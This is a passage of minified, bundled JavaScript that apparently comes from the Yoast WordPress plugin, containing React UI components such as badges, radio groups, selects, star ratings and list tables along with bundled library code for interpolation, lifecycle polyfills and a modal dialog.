strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"NewBadge",{enumerable:!0,get:function(){return n.default}}),r(15446),r(15210);var o,n=(o=r(70610))&&o.__esModule?o:{default:o}},46708:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}const l=({inLabel:e})=>o.default.createElement("span",{className:e?"yoast-badge yoast-badge__in-label yoast-premium-badge":"yoast-badge yoast-premium-badge"},"Premium");l.propTypes={inLabel:n.default.bool},l.defaultProps={inLabel:!1},t.default=l},51495:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"PremiumBadge",{enumerable:!0,get:function(){return n.default}}),r(15446),r(29001);var o,n=(o=r(46708))&&o.__esModule?o:{default:o}},17230:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=d(r(99196)),a=(o=r(85890))&&o.__esModule?o:{default:o},l=r(92819),s=d(r(84084)),i=r(9802);function u(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(u=function(e){return e?r:t})(e)}function d(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=u(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}function c(){return c=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},c.apply(this,arguments)}r(17672);const f={options:a.default.array.isRequired,onChange:a.default.func.isRequired,groupName:a.default.string.isRequired,id:a.default.string.isRequired,selected:a.default.oneOfType([a.default.string,a.default.number])},p={selected:null},h=({value:e,label:t,checked:r,onChange:o,groupName:a,id:l})=>n.default.createElement(n.Fragment,null,n.default.createElement("input",{type:"radio",name:a,id:l,value:e,onChange:o,checked:r}),n.default.createElement("label",{htmlFor:l},t));h.propTypes={value:a.default.oneOfType([a.default.string,a.default.number]).isRequired,label:a.default.string.isRequired,checked:a.default.bool,groupName:a.default.string.isRequired,onChange:a.default.func,id:a.default.string.isRequired},h.defaultProps={checked:!1,onChange:l.noop};const b=({options:e,onChange:t,groupName:r,id:o,selected:a})=>n.default.createElement("div",{className:"yoast-field-group__radiobutton"},e.map((e=>n.default.createElement(h,c({key:e.value,groupName:r,checked:a===e.value,onChange:t,id:`${o}_${e.value}`},e)))));b.propTypes=f,b.defaultProps=p;const g=({options:e,onChange:t,groupName:r,id:o,selected:a})=>n.default.createElement("div",{onChange:t},e.map((e=>n.default.createElement("div",{className:"yoast-field-group__radiobutton yoast-field-group__radiobutton--vertical",key:e.value},n.default.createElement(h,c({groupName:r,checked:a===e.value,id:`${o}_${e.value}`},e))))));g.propTypes=f,g.defaultProps=p;const m=e=>{const{id:t,options:r,groupName:o,onChange:a,vertical:l,selected:u,...d}=e,c={options:r,groupName:o,selected:u,onChange:e=>a(e.target.value),id:(0,i.getId)(t)};return n.default.createElement(s.default,d,l?n.default.createElement(g,c):n.default.createElement(b,c))};m.propTypes={id:a.default.string,groupName:a.default.string.isRequired,options:a.default.arrayOf(a.default.shape({value:a.default.oneOfType([a.default.string,a.default.number]).isRequired,label:a.default.string.isRequired})).isRequired,selected:a.default.oneOfType([a.default.string,a.default.number]),onChange:a.default.func,vertical:a.default.bool,...s.FieldGroupProps},m.defaultProps={id:"",vertical:!1,selected:null,onChange:()=>{},...s.FieldGroupDefaultProps},t.default=m},46465:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"RadioButtonGroup",{enumerable:!0,get:function(){return n.default}}),r(17672);var o,n=(o=r(17230))&&o.__esModule?o:{default:o}},69970:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.YoastReactSelect=t.SingleSelect=t.Select=t.MultiSelect=void 0;var o=r(92819),n=d(r(99196)),a=i(r(85890)),l=d(r(84084)),s=i(r(92651));function i(e){return e&&e.__esModule?e:{default:e}}function u(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(u=function(e){return e?r:t})(e)}function d(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=u(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}function c(){return c=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},c.apply(this,arguments)}r(67496);const f=a.default.shape({name:a.default.string,value:a.default.string}),p={id:a.default.string.isRequired,name:a.default.string,options:a.default.arrayOf(f).isRequired,selected:a.default.oneOfType([a.default.arrayOf(a.default.string),a.default.string]),onChange:a.default.func,disabled:a.default.bool,...l.FieldGroupProps},h={name:"",selected:[],onChange:()=>{},disabled:!1,...l.FieldGroupDefaultProps},b=({name:e,value:t})=>n.default.createElement("option",{key:t,value:t},e);b.propTypes={name:a.default.string.isRequired,value:a.default.string.isRequired};const g=e=>{const{id:t,isMulti:r,isSearchable:o,inputId:a,selected:i,options:u,name:d,onChange:f,...p}=e,h=Array.isArray(i)?i:[i],b=(e=>e.map((e=>({value:e.value,label:e.name}))))(u),g=b.filter((e=>h.includes(e.value)));return n.default.createElement(l.default,c({},p,{htmlFor:a}),n.default.createElement(s.default,{isMulti:r,id:t,name:d,inputId:a,value:g,options:b,hideSelectedOptions:!1,onChange:f,className:"yoast-select-container",classNamePrefix:"yoast-select",isClearable:!1,isSearchable:o,placeholder:""}))};t.YoastReactSelect=g,g.propTypes=p,g.defaultProps=h;const m=e=>{const{onChange:t}=e,r=(0,n.useCallback)((e=>t(e.value)));return n.default.createElement(g,c({},e,{isMulti:!1,isSearchable:!0,onChange:r}))};t.SingleSelect=m,m.propTypes=p,m.defaultProps=h;const y=e=>{const{onChange:t}=e,r=(0,n.useCallback)((e=>{e||(e=[]),t(e.map((e=>e.value)))}));return n.default.createElement(g,c({},e,{isMulti:!0,isSearchable:!1,onChange:r}))};t.MultiSelect=y,y.propTypes=p,y.defaultProps=h;class v extends n.default.Component{constructor(e){super(e),this.onBlurHandler=this.onBlurHandler.bind(this),this.onInputHandler=this.onInputHandler.bind(this),this.state={selected:this.props.selected}}onBlurHandler(e){this.props.onChange(e.target.value)}onInputHandler(e){this.setState({selected:e.target.value}),this.props.onOptionFocus&&this.props.onOptionFocus(e.target.name,e.target.value)}componentDidUpdate(e){e.selected!==this.props.selected&&this.setState({selected:this.props.selected})}render(){const{id:e,options:t,name:r,disabled:a,...s}=this.props;return n.default.createElement(l.default,c({},s,{htmlFor:e}),n.default.createElement("select",{id:e,name:r,value:this.state.selected,onBlur:this.onBlurHandler,onInput:this.onInputHandler,onChange:o.noop,disabled:a},t.map(b)))}}t.Select=v,v.propTypes={...p,onOptionFocus:a.default.func},v.defaultProps={...h,onOptionFocus:null}},55138:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"MultiSelect",{enumerable:!0,get:function(){return o.MultiSelect}}),Object.defineProperty(t,"Select",{enumerable:!0,get:function(){return o.Select}}),Object.defineProperty(t,"SingleSelect",{enumerable:!0,get:function(){return o.SingleSelect}}),r(67496);var o=r(69970)},37677:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}function l(e){let t=e.rating;t<0&&(t=0),t>5&&(t=5);const r=20*t;return o.default.createElement("div",{"aria-hidden":"true",className:"yoast-star-rating"},o.default.createElement("span",{className:"yoast-star-rating__placeholder",role:"img"},o.default.createElement("span",{className:"yoast-star-rating__fill",style:{width:r+"%"}})))}t.default=l,l.propTypes={rating:n.default.number.isRequired}},5185:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"StarRating",{enumerable:!0,get:function(){return n.default}}),r(10205);var o,n=(o=r(37677))&&o.__esModule?o:{default:o}},98872:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ZebrafiedListTable=t.ListTable=void 0,t.makeFullWidth=function(e){return(0,a.default)(e)`
		@media screen and ( max-width: 800px ) {
			min-width: 100%;
			margin-top: 1em;
			padding-right: 0;
			padding-left: 0;
		}
	`};var o=s(r(85890)),n=s(r(99196)),a=s(r(98487)),l=r(37188);function s(e){return e&&e.__esModule?e:{default:e}}function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},i.apply(this,arguments)}const u=a.default.ul`
	margin: 0;
 	padding: 0;
 	list-style: none;
 	position: relative;
 	width: 100%;

 	li:first-child {
		& > span::before {
			left: auto;
		}
	}
`;u.propTypes={children:o.default.any};class d extends n.default.Component{constructor(e){super(e)}getChildren(){return 1===this.props.children?[this.props.children]:this.props.children}render(){const e=this.getChildren();return n.default.createElement(u,{role:"list"},e)}}t.ListTable=d,t.ZebrafiedListTable=class extends d{constructor(e){super(e),this.zebraProps=Object.assign({},e)}zebrafyChildren(){let e=this.props.children;this.props.children.map||(e=[e]),this.zebraProps.children=e.map(((e,t)=>n.default.cloneElement(e,{background:t%2==1?l.colors.$color_white:l.colors.$color_background_light,key:t})))}render(){return this.zebrafyChildren(),n.default.createElement(u,i({role:"list"},this.zebraProps))}},d.propTypes={children:o.default.oneOfType([o.default.arrayOf(o.default.node),o.default.node])},d.defaultProps={children:[]}},87923:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RowResponsiveWrap=t.Row=void 0;var o=l(r(85890)),n=l(r(98487)),a=r(37188);function l(e){return e&&e.__esModule?e:{default:e}}const s=t.Row=n.default.li`
	background: ${e=>e.background};
	display: flex;
	min-height: ${e=>e.rowHeight};
	align-items: center;
	justify-content: space-between;
`;s.propTypes={background:o.default.string,hasHeaderLabels:o.default.bool,rowHeight:o.default.string},s.defaultProps={background:a.colors.$color_white,hasHeaderLabels:!0},t.RowResponsiveWrap=(0,n.default)(s)`
	@media screen and ( max-width: 800px ) {
		flex-wrap: wrap;
		align-items: flex-start;

		&:first-child {
			margin-top: ${e=>e.hasHeaderLabels?"24px":"0"};
		}

		// Use the column headers (if any) as labels.
		& > span::before {
			position: static;
			display: inline-block;
			padding-right: 0.5em;
			font-size: inherit;
		}
		& > span {
			padding-left: 0;
		}
	}
`},43781:(e,t,r)=>{"use strict";r(20784)},37704:(e,t,r)=>{"use strict";r(82221)},31233:(e,t,r)=>{"use strict";r(40265)},94184:(e,t)=>{var r;!function(){"use strict";var o={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var a=typeof r;if("string"===a||"number"===a)e.push(r);else if(Array.isArray(r)&&r.length){var l=n.apply(null,r);l&&e.push(l)}else if("object"===a)for(var s in r)o.call(r,s)&&r[s]&&e.push(s)}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(r=function(){return n}.apply(t,[]))||(e.exports=r)}()},58875:(e,t,r)=>{var o;!function(){"use strict";var n=!("undefined"==typeof window||!window.document||!window.document.createElement),a={canUseDOM:n,canUseWorkers:"undefined"!=typeof Worker,canUseEventListeners:n&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:n&&!!window.screen};void 0===(o=function(){return a}.call(t,r,t,e))||(e.exports=o)}()},96746:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=s(r(99196)),a=s(r(49156)),l=s(r(76743));function s(e){return e&&e.__esModule?e:{default:e}}var i=void 0;function u(e,t){var r,l,s,d,c,f,p,h,b=[],g={};for(f=0;f<e.length;f++)if("string"!==(c=e[f]).type){if(!t.hasOwnProperty(c.value)||void 0===t[c.value])throw new Error("Invalid interpolation, missing component node: `"+c.value+"`");if("object"!==o(t[c.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+c.value+"`","\n> "+i);if("componentClose"===c.type)throw new Error("Missing opening component token: `"+c.value+"`");if("componentOpen"===c.type){r=t[c.value],s=f;break}b.push(t[c.value])}else b.push(c.value);return r&&(d=function(e,t){var r,o,n=t[e],a=0;for(o=e+1;o<t.length;o++)if((r=t[o]).value===n.value){if("componentOpen"===r.type){a++;continue}if("componentClose"===r.type){if(0===a)return o;a--}}throw new Error("Missing closing component token `"+n.value+"`")}(s,e),p=u(e.slice(s+1,d),t),l=n.default.cloneElement(r,{},p),b.push(l),d<e.length-1&&(h=u(e.slice(d+1),t),b=b.concat(h))),1===b.length?b[0]:(b.forEach((function(e,t){e&&(g["interpolation-child-"+t]=e)})),(0,a.default)(g))}t.default=function(e){var t=e.mixedString,r=e.components,n=e.throwErrors;if(i=t,!r)return t;if("object"!==(void 0===r?"undefined":o(r))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var a=(0,l.default)(t);try{return u(a,r)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},76743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},15446:(e,t,r)=>{"use strict";r.r(t)},89364:(e,t,r)=>{"use strict";r.r(t)},26242:(e,t,r)=>{"use strict";r.r(t)},91370:(e,t,r)=>{"use strict";r.r(t)},68798:(e,t,r)=>{"use strict";r.r(t)},16798:(e,t,r)=>{"use strict";r.r(t)},54760:(e,t,r)=>{"use strict";r.r(t)},40367:(e,t,r)=>{"use strict";r.r(t)},79520:(e,t,r)=>{"use strict";r.r(t)},8436:(e,t,r)=>{"use strict";r.r(t)},86264:(e,t,r)=>{"use strict";r.r(t)},14640:(e,t,r)=>{"use strict";r.r(t)},55022:(e,t,r)=>{"use strict";r.r(t)},60526:(e,t,r)=>{"use strict";r.r(t)},70418:(e,t,r)=>{"use strict";r.r(t)},15210:(e,t,r)=>{"use strict";r.r(t)},29001:(e,t,r)=>{"use strict";r.r(t)},17672:(e,t,r)=>{"use strict";r.r(t)},67496:(e,t,r)=>{"use strict";r.r(t)},10205:(e,t,r)=>{"use strict";r.r(t)},20784:(e,t,r)=>{"use strict";r.r(t)},82221:(e,t,r)=>{"use strict";r.r(t)},40265:(e,t,r)=>{"use strict";r.r(t)},49156:(e,t,r)=>{"use strict";var o=r(99196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,a=r(47942),l=r(29179),s=r(70397),i=".",u=":",d="function"==typeof Symbol&&Symbol.iterator,c="@@iterator";function f(e,t){return e&&"object"==typeof e&&null!=e.key?(r=e.key,o={"=":"=0",":":"=2"},"$"+(""+r).replace(/[=:]/g,(function(e){return o[e]}))):t.toString(36);var r,o}function p(e,t,r,o){var a,s=typeof e;if("undefined"!==s&&"boolean"!==s||(e=null),null===e||"string"===s||"number"===s||"object"===s&&e.$$typeof===n)return r(o,e,""===t?i+f(e,0):t),1;var h=0,b=""===t?i:t+u;if(Array.isArray(e))for(var g=0;g<e.length;g++)h+=p(a=e[g],b+f(a,g),r,o);else{var m=function(e){var t=e&&(d&&e[d]||e[c]);if("function"==typeof t)return t}(e);if(m)for(var y,v=m.call(e),_=0;!(y=v.next()).done;)h+=p(a=y.value,b+f(a,_++),r,o);else if("object"===s){var x=""+e;l(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===x?"object with keys {"+Object.keys(e).join(", ")+"}":x,"")}}return h}var h=/\/+/g;function b(e){return(""+e).replace(h,"$&/")}var g,m,y=v,v=function(e){var t=this;if(t.instancePool.length){var r=t.instancePool.pop();return t.call(r,e),r}return new t(e)};function _(e,t,r,o){this.result=e,this.keyPrefix=t,this.func=r,this.context=o,this.count=0}function x(e,t,r){var n,l,s=e.result,i=e.keyPrefix,u=e.func,d=e.context,c=u.call(d,t,e.count++);Array.isArray(c)?C(c,s,r,a.thatReturnsArgument):null!=c&&(o.isValidElement(c)&&(n=c,l=i+(!c.key||t&&t.key===c.key?"":b(c.key)+"/")+r,c=o.cloneElement(n,{key:l},void 0!==n.props?n.props.children:void 0)),s.push(c))}function C(e,t,r,o,n){var a="";null!=r&&(a=b(r)+"/");var l=_.getPooled(t,a,o,n);!function(e,t,r){null==e||p(e,"",t,r)}(e,x,l),_.release(l)}_.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},g=function(e,t,r,o){var n=this;if(n.instancePool.length){var a=n.instancePool.pop();return n.call(a,e,t,r,o),a}return new n(e,t,r,o)},(m=_).instancePool=[],m.getPooled=g||y,m.poolSize||(m.poolSize=10),m.release=function(e){var t=this;l(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return s(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(o.isValidElement(e))return s(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;l(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var r in e)C(e[r],t,r,a.thatReturnsArgument);return t}},47942:e=>{"use strict";function t(e){return function(){return e}}var r=function(){};r.thatReturns=t,r.thatReturnsFalse=t(!1),r.thatReturnsTrue=t(!0),r.thatReturnsNull=t(null),r.thatReturnsThis=function(){return this},r.thatReturnsArgument=function(e){return e},e.exports=r},29179:e=>{"use strict";e.exports=function(e,t,r,o,n,a,l,s){if(!e){var i;if(void 0===t)i=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var u=[r,o,n,a,l,s],d=0;(i=new Error(t.replace(/%s/g,(function(){return u[d++]})))).name="Invariant Violation"}throw i.framesToPop=1,i}}},70397:(e,t,r)=>{"use strict";var o=r(47942);e.exports=o},46871:(e,t,r)=>{"use strict";function o(){var e=this.constructor.getDerivedStateFromProps(this.props,this.state);null!=e&&this.setState(e)}function n(e){this.setState(function(t){var r=this.constructor.getDerivedStateFromProps(e,t);return null!=r?r:null}.bind(this))}function a(e,t){try{var r=this.props,o=this.state;this.props=e,this.state=t,this.__reactInternalSnapshotFlag=!0,this.__reactInternalSnapshot=this.getSnapshotBeforeUpdate(r,o)}finally{this.props=r,this.state=o}}function l(e){var t=e.prototype;if(!t||!t.isReactComponent)throw new Error("Can only polyfill class components");if("function"!=typeof e.getDerivedStateFromProps&&"function"!=typeof t.getSnapshotBeforeUpdate)return e;var r=null,l=null,s=null;if("function"==typeof t.componentWillMount?r="componentWillMount":"function"==typeof t.UNSAFE_componentWillMount&&(r="UNSAFE_componentWillMount"),"function"==typeof t.componentWillReceiveProps?l="componentWillReceiveProps":"function"==typeof t.UNSAFE_componentWillReceiveProps&&(l="UNSAFE_componentWillReceiveProps"),"function"==typeof t.componentWillUpdate?s="componentWillUpdate":"function"==typeof t.UNSAFE_componentWillUpdate&&(s="UNSAFE_componentWillUpdate"),null!==r||null!==l||null!==s){var i=e.displayName||e.name,u="function"==typeof e.getDerivedStateFromProps?"getDerivedStateFromProps()":"getSnapshotBeforeUpdate()";throw Error("Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n"+i+" uses "+u+" but also contains the following legacy lifecycles:"+(null!==r?"\n  "+r:"")+(null!==l?"\n  "+l:"")+(null!==s?"\n  "+s:"")+"\n\nThe above lifecycles should be removed. Learn more about this warning here:\nhttps://fb.me/react-async-component-lifecycle-hooks")}if("function"==typeof e.getDerivedStateFromProps&&(t.componentWillMount=o,t.componentWillReceiveProps=n),"function"==typeof t.getSnapshotBeforeUpdate){if("function"!=typeof t.componentDidUpdate)throw new Error("Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype");t.componentWillUpdate=a;var d=t.componentDidUpdate;t.componentDidUpdate=function(e,t,r){var o=this.__reactInternalSnapshotFlag?this.__reactInternalSnapshot:r;d.call(this,e,t,o)}}return e}r.r(t),r.d(t,{polyfill:()=>l}),o.__suppressDeprecationWarning=!0,n.__suppressDeprecationWarning=!0,a.__suppressDeprecationWarning=!0},29983:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.bodyOpenClassName=t.portalClassName=void 0;var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},n=function(){function e(e,t){for(var r=0;r<t.length;r++){var o=t[r];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,r,o){return r&&e(t.prototype,r),o&&e(t,o),t}}(),a=r(99196),l=h(a),s=h(r(91850)),i=h(r(85890)),u=h(r(28747)),d=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(57149)),c=r(51112),f=h(c),p=r(46871);function h(e){return e&&e.__esModule?e:{default:e}}function b(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var g=t.portalClassName="ReactModalPortal",m=t.bodyOpenClassName="ReactModal__Body--open",y=c.canUseDOM&&void 0!==s.default.createPortal,v=function(){return y?s.default.createPortal:s.default.unstable_renderSubtreeIntoContainer};function _(e){return e()}var x=function(e){function t(){var e,r,n;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var a=arguments.length,i=Array(a),d=0;d<a;d++)i[d]=arguments[d];return r=n=b(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),n.removePortal=function(){!y&&s.default.unmountComponentAtNode(n.node);var e=_(n.props.parentSelector);e&&e.contains(n.node)?e.removeChild(n.node):console.warn('React-Modal: "parentSelector" prop did not returned any DOM element. Make sure that the parent element is unmounted to avoid any memory leaks.')},n.portalRef=function(e){n.portal=e},n.renderPortal=function(e){var r=v()(n,l.default.createElement(u.default,o({defaultStyles:t.defaultStyles},e)),n.node);n.portalRef(r)},b(n,r)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),n(t,[{key:"componentDidMount",value:function(){c.canUseDOM&&(y||(this.node=document.createElement("div")),this.node.className=this.props.portalClassName,_(this.props.parentSelector).appendChild(this.node),!y&&this.renderPortal(this.props))}},{key:"getSnapshotBeforeUpdate",value:function(e){return{prevParent:_(e.parentSelector),nextParent:_(this.props.parentSelector)}}},{key:"componentDidUpdate",value:function(e,t,r){if(c.canUseDOM){var o=this.props,n=o.isOpen,a=o.portalClassName;e.portalClassName!==a&&(this.node.className=a);var l=r.prevParent,s=r.nextParent;s!==l&&(l.removeChild(this.node),s.appendChild(this.node)),(e.isOpen||n)&&!y&&this.renderPortal(this.props)}}},{key:"componentWillUnmount",value:function(){if(c.canUseDOM&&this.node&&this.portal){var e=this.portal.state,t=Date.now(),r=e.isOpen&&this.props.closeTimeoutMS&&(e.closesAt||t+this.props.closeTimeoutMS);r?(e.beforeClose||this.portal.closeWithTimeout(),setTimeout(this.removePortal,r-t)):this.removePortal()}}},{key:"render",value:function(){return c.canUseDOM&&y?(!this.node&&y&&(this.node=document.createElement("div")),v()(l.default.createElement(u.default,o({ref:this.portalRef,defaultStyles:t.defaultStyles},this.props)),this.node)):null}}],[{key:"setAppElement",value:function(e){d.setElement(e)}}]),t}(a.Component);x.propTypes={isOpen:i.default.bool.isRequired,style:i.default.shape({content:i.default.object,overlay:i.default.object}),portalClassName:i.default.string,bodyOpenClassName:i.default.string,htmlOpenClassName:i.default.string,className:i.default.oneOfType([i.default.string,i.default.shape({base:i.default.string.isRequired,afterOpen:i.default.string.isRequired,beforeClose:i.default.string.isRequired})]),overlayClassName:i.default.oneOfType([i.default.string,i.default.shape({base:i.default.string.isRequired,afterOpen:i.default.string.isRequired,beforeClose:i.default.string.isRequired})]),appElement:i.default.instanceOf(f.default),onAfterOpen:i.default.func,onRequestClose:i.default.func,closeTimeoutMS:i.default.number,ariaHideApp:i.default.bool,shouldFocusAfterRender:i.default.bool,shouldCloseOnOverlayClick:i.default.bool,shouldReturnFocusAfterClose:i.default.bool,preventScroll:i.default.bool,parentSelector:i.default.func,aria:i.default.object,data:i.default.object,role:i.default.string,contentLabel:i.default.string,shouldCloseOnEsc:i.default.bool,overlayRef:i.default.func,contentRef:i.default.func,id:i.default.string,overlayElement:i.default.func,contentElement:i.default.func},x.defaultProps={isOpen:!1,portalClassName:g,bodyOpenClassName:m,role:"dialog",ariaHideApp:!0,closeTimeoutMS:0,shouldFocusAfterRender:!0,shouldCloseOnEsc:!0,shouldCloseOnOverlayClick:!0,shouldReturnFocusAfterClose:!0,preventScroll:!1,parentSelector:function(){return document.body},overlayElement:function(e,t){return l.default.createElement("div",e,t)},contentElement:function(e,t){return l.default.createElement("div",e,t)}},x.defaultStyles={overlay:{position:"fixed",top:0,left:0,right:0,bottom:0,backgroundColor:"rgba(255, 255, 255, 0.75)"},content:{position:"absolute",top:"40px",left:"40px",right:"40px",bottom:"40px",border:"1px solid #ccc",background:"#fff",overflow:"auto",WebkitOverflowScrolling:"touch",borderRadius:"4px",outline:"none",padding:"20px"}},(0,p.polyfill)(x),t.default=x},28747:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=function(){function e(e,t){for(var r=0;r<t.length;r++){var o=t[r];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,r,o){return r&&e(t.prototype,r),o&&e(t,o),t}}(),l=r(99196),s=b(r(85890)),i=h(r(99685)),u=b(r(88338)),d=h(r(57149)),c=h(r(32409)),f=b(r(51112)),p=b(r(89623));function h(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function b(e){return e&&e.__esModule?e:{default:e}}r(35063);var g={overlay:"ReactModal__Overlay",content:"ReactModal__Content"},m=0,y=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.setOverlayRef=function(e){r.overlay=e,r.props.overlayRef&&r.props.overlayRef(e)},r.setContentRef=function(e){r.content=e,r.props.contentRef&&r.props.contentRef(e)},r.afterClose=function(){var e=r.props,t=e.appElement,o=e.ariaHideApp,n=e.htmlOpenClassName,a=e.bodyOpenClassName;a&&c.remove(document.body,a),n&&c.remove(document.getElementsByTagName("html")[0],n),o&&m>0&&0==(m-=1)&&d.show(t),r.props.shouldFocusAfterRender&&(r.props.shouldReturnFocusAfterClose?(i.returnFocus(r.props.preventScroll),i.teardownScopedFocus()):i.popWithoutFocus()),r.props.onAfterClose&&r.props.onAfterClose(),p.default.deregister(r)},r.open=function(){r.beforeOpen(),r.state.afterOpen&&r.state.beforeClose?(clearTimeout(r.closeTimer),r.setState({beforeClose:!1})):(r.props.shouldFocusAfterRender&&(i.setupScopedFocus(r.node),i.markForFocusLater()),r.setState({isOpen:!0},(function(){r.setState({afterOpen:!0}),r.props.isOpen&&r.props.onAfterOpen&&r.props.onAfterOpen({overlayEl:r.overlay,contentEl:r.content})})))},r.close=function(){r.props.closeTimeoutMS>0?r.closeWithTimeout():r.closeWithoutTimeout()},r.focusContent=function(){return r.content&&!r.contentHasFocus()&&r.content.focus({preventScroll:!0})},r.closeWithTimeout=function(){var 